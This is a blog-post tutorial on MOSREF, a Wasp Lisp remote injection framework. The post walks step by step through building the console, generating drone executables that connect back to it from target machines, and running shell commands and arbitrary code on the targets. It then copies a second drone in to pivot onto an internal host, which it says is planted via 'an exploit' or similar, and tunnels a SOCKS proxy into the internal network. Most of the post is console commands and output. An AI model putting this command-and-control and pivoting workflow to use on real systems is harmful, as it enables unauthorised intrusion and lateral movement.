2009-11-28
Using the Wasp Lisp Secure Remote Injection Framework (MOSREF)
MOSREF is a secure remote injection framework written in Wasp Lisp (which I previously wrote about here). With MOSREF you have a 'console' program running which can create dones applications that are run on a target system.
The console and drones can communicate with each other, executing shell commands or Wasp Lisp code. Drones can create other drones to 'bridge' bridge communications so the console can send commands to drones it is not directly connected too.
Lisp code can be compiled and sent to drones to execute. One of the 'built in' capabilities is a Socks proxy server. This can be run on a drone and data is tunneled to the console which the controller can use as a socks proxy.
MOSREF isn't built by default with Wasp. To build it you need to run 'waspc' to compile and create an executable (example assumes you are in the root of the Wasp source directory):
$ cd mod
$ waspc -exe ../mosref bin/mosref
BUILD: bin/mosref
BUILD: core/macro
BUILD: core/config
BUILD: site/config
...
BUILD: mosref/cmd/with
BUILD: mosref/cmds
BUILD: bin/mosref
$ chmod +x ../mosref
$ rlwrap ../moseref
console> help
Commands: clear <key> ...
cp <src-file> <dst-file>
do <lisp-expr>
drone <file> <id> <platform>
exit
help [i<command>]
load <path>
nodes
on <node-id> [<command>]
proxy [<portno> [<secret>]]
recover <id>
set [<key>[=<value>] [<command>]]
sh <cmd>
with <key>[=<value>] [<command>]
The first thing you need to do on the running console is set the IP address and the port it will listen on (Replacing xx.xx.xx.xx with the IP address):
console> set addr=xx.xx.xx.xx
Set.
console> set port=10000
Set.
Now you need to create a drone executable to be run on the target system:
console> drone drone1 foo linux-x86
Drone executable created.
Listening for drone on 10000...
This creates an executable for Linux systems called 'drone1'. It is given the name node name 'foo'. It will show in the list of nodes available from the console:
console> nodes
NODES: console online address: xx.xx.xx.xx port: 10000
foo offline
When the 'drone1' executable is run on a target system it will connect to the console using an encrypted connection. You will need to find a way to copy and run the executable onto the target. The following shows it being run on the target:
target$ ./drone1
DRONE: Preparing keys...
DRONE: Sending Drone Public Key...
DRONE: Sending Drone IV...
DRONE: Reading Console IV...
DRONE: CONSOLE IV CT is ...
DRONE: CONSOLE IV PT is ...
DRONE: Confirming Console IV...
DRONE: Waiting for Console to confirm Drone IV...
DRONE: Affiliation complete....
The connection will show on the console:
console> nodes
NODES: console online address: xx.xx.xx.xx port: 10000
foo online
Notice it shows 'foo' is now online. It's now possible to execute commands on the target machine by sending them to the drone. Using 'sh' you can execute shell commands. From the console:
console> on foo sh ifconfig
eth0 Link encap:Ethernet HWaddr ...
inet addr:yy.yy.yy.yy
...
RX bytes:2458924520 (2.2 GB) TX bytes:2458924520 (2.2 GB)
console> on foo set addr=yy.yy.yy.yy
Set.
console> on foo set port=10000
Set.
Here we execute 'ifconfig' on the target so we can find out the IP address. The output of 'ifconfig' is sent back to the console. Using this information the addr and port is set on the drone. This can be used to have the target create new drones on internal machines that only it can access. It will then act as a bridge between the console and the internal machine.
As well as running shell commands you can run Wasp Lisp code:
console> on foo do (+ 1 2)
:: 3
console> on foo load lib/http-file-server.ms
:: spawn-http-file-server
console> on foo do (offer-http-file 2080 "/test" "text/plain" "Hello world!")
:: [queue 824A098]
Using 'on foo do' we compile a Lisp expression and send it to 'foo' to be run. In this case a simple addition. 'on foo load' will load a Lisp file located on the console, compile it, and send the byte code to be run on 'foo'. Then we 'on foo do' to run a function contained in that file on the 'foo' machine. In this case, it runs a simple webserver. Any Lisp code can be sent and run.
It's possible to copy files between nodes too. In this next example we create another drone that will be run on a machine internal to the network that the target is on. Note that the build is performed on the console so we need to copy the executable from there to the target.
console> on foo drone drone2 bar linux-x86
Drone executable created.
Listening for drone on 10000...
console> cp console:/home/console/waspvm/mod/drone2 foo:/tmp/drone2
Copy from console:/home/console/waspvm/mod/drone2 to foo:/tmp/drone2
Using some magic means (an exploit, copying file using shell commands on the target drone, etc) we get 'drone2' running on another machine available internally on the target network:
target2$ ./drone2
DRONE: Preparing keys...
DRONE: Sending Drone Public Key...
DRONE: Sending Drone IV...
DRONE: Reading Console IV...
DRONE: CONSOLE IV CT is ...
DRONE: CONSOLE IV PT is ...
DRONE: Confirming Console IV...
DRONE: Waiting for Console to confirm Drone IV...
DRONE: Affiliation complete....
From the console we now see the 'bar' node:
console> nodes
NODES: bar online
console online address: xx.xx.xx.xx port: 10000
foo online address: yy.yy.yy.yy port: 10000
MOSREF has a 'proxy' command that lets you set up a Socks 4 proxy on the console that tunnels traffic to and from a target node. Here we set up a proxy to the 'bar' node:
console> on bar proxy 5000
SOCKS Proxy created, listening on port 5000.
This will result in the 'console' machine having a Socks 4 proxy running on port 5000. If you configure Firefox to use this proxy you can access local webservers available from the internal network that 'bar' can see. Note that 'console' can't see 'bar' directly. It is tunnelling traffic to 'foo', from there to 'bar', then back from 'bar' to 'foo' and to 'console.
The source for MOSREF is in the Wasp Lisp distribution on github and makes for a good body of Wasp Lisp code for learning.